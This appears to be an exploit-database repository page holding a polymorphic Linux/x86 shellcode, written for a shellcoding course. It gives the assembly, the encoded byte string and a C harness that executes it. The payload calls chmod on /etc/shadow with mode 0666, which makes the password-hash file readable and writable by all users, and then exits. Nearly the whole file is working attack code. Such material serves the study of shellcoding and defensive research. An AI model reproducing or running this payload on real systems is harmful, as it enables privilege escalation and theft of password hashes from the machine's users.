2b7a0122f2
6 changes to exploits/shellcodes Ultimate Loan Manager 2.0 - Cross-Site Scripting WebIncorp ERP - SQL injection Cisco Catalyst 3850 Series Device Manager - Cross-Site Request Forgery Linux/x86 - NOT +SHIFT-N+ XOR-N Encoded /bin/sh Shellcode Linux/x86 - NOT +SHIFT-N+ XOR-N Encoded /bin/sh Shellcode (168 bytes) Linux/x86 - chmod(/etc/shadow_ 0666) Polymorphic Shellcode (53 bytes) Linux/x86 - ASLR Disable Polymorphic Shellcode (107 bytes) Linux/x86 - Force Reboot Shellcode (51 bytes)
87 lines
No EOL
1.6 KiB
C
87 lines
No EOL
1.6 KiB
C
#---------------------- DESCRIPTION -------------------------------------#
|
|
|
|
; Title: chmod(“/etc/shadow”, 0666) and exit for Linux/x86 - Polymorphic
|
|
; Author: Daniel Ortiz
|
|
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
|
|
; Size: 53 bytes
|
|
; SLAE ID: PA-9844
|
|
|
|
|
|
#---------------------- ASM CODE ------------------------------------------#
|
|
|
|
|
|
SECTION .data
|
|
|
|
EXIT_CALL equ 1
|
|
CHMOD_CALL equ 15
|
|
|
|
SECTION .text
|
|
|
|
|
|
global _start
|
|
|
|
|
|
_start:
|
|
nop
|
|
cdq
|
|
|
|
push byte CHMOD_CALL
|
|
pop eax
|
|
|
|
|
|
push edx
|
|
push byte 0x77
|
|
push word 0x6f64
|
|
|
|
mov esi, 0x222933f0
|
|
add esi, 0x3f3f3f3f
|
|
push esi
|
|
xor esi, esi
|
|
|
|
mov esi, 0x243525f0
|
|
add esi, 0x3f3f3f3f
|
|
push esi
|
|
xor esi, esi
|
|
|
|
|
|
mov ebx, esp
|
|
push word 0666Q
|
|
pop ecx
|
|
int 0x80
|
|
|
|
mov al, EXIT_CALL
|
|
int 0x80
|
|
|
|
|
|
#------------------------- final shellcode ----------------------------------------#
|
|
|
|
unsigned char buf[] =
|
|
"\x90\x99\x6a\x0f\x58\x52\x6a\x77\x66"
|
|
"\x68\x64\x6f\xbe\xf0\x33\x29\x22\x81"
|
|
"\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\xbe"
|
|
"\xf0\x25\x35\x24\x81\xc6\x3f\x3f\x3f"
|
|
"\x3f\x56\x31\xf6\x89\xe3\x66\x68\xb6"
|
|
"\x01\x59\xcd\x80\xb0\x01\xcd\x80";
|
|
|
|
|
|
#------------------------- usage --------------------------------------------------#
|
|
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = \
|
|
|
|
"\x90\x99\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\xbe\xf0\x33\x29\x22\x81\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\xbe\xf0\x25\x35\x24\x81\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\xb0\x01\xcd\x80";
|
|
|
|
|
|
main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
|
|
} |